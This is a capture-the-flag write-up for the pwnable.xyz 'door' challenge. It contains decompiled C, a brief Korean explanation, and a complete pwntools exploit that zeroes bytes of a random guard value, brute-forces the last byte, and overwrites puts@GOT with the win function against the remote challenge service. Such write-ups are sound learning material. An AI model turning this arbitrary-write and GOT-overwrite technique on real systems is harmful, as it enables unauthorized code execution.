[pwnable.xyz]door

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int value; // [rsp+4h] [rbp-Ch]
  int addr; // [rsp+8h] [rbp-8h]

  setup();
  puts("Door To Other RealmS");
  value = 0;
  addr = 0;
  door = rand();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          print_menu();
          v3 = read_int32();
          if ( v3 != 2 )
            break;
          if ( door )
          {
            printf("Realm: ", argv);
            addr = read_int32();
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_17;
        if ( door == addr )
        {
          printf("Door: ", argv);
          value = read_int32();
          printf("Realm: ");
          addr = read_int32();
          *addr = value;
          door = 0;
        }
      }
      if ( v3 != 3 )
        break;
      if ( door && addr )
        *addr = value;
    }
    if ( v3 == 4 )
      return 0;
LABEL_17:
    puts("Invalid");
  }
}

seed를 직접적으로 맞출 수 없다. 근데 우리가 원하는 주소에 0을 쓸 수 있다. 그래서 door에 있는 랜덤값을 하위 1바이트를 남겨두고 덮으면서 1번메뉴로 1byte bruteforce해서 puts@got에 win함수 주소 값을 쓰면 된다. 그전에 puts@got에는 실제 주소가 담겨있으므로 초기화해주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30039)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
bss_start = 0x0000000000601080
door = 0x0000000000601244
win = e.symbols['win']
fini_arrry = 0x0000000000600e10

def _open(addr):
	sa('>','2')
	sa(':',str(addr))

def enter():
	sa('>','3')

_open(door+4)
enter()
_open(door+3)
enter()
_open(door+3)
enter()
_open(door+2)
enter()
_open(door+1)
enter()

_open(e.got['puts']+5)
enter()
_open(e.got['puts']+4)
enter()
_open(e.got['puts']+3)
enter()
_open(e.got['puts']+2)
enter()
_open(e.got['puts']+1)
enter()
_open(e.got['puts'])
enter()

c = 0
for i in range(256):
	_open(i)
	sa('>','1')
	if 'Door' in p.recvuntil(':'):
		p.send(str(win))
		sa('Realm:',str(e.got['puts']))
		c = 1
	if c == 1:
		break

sa('>','999')

p.interactive()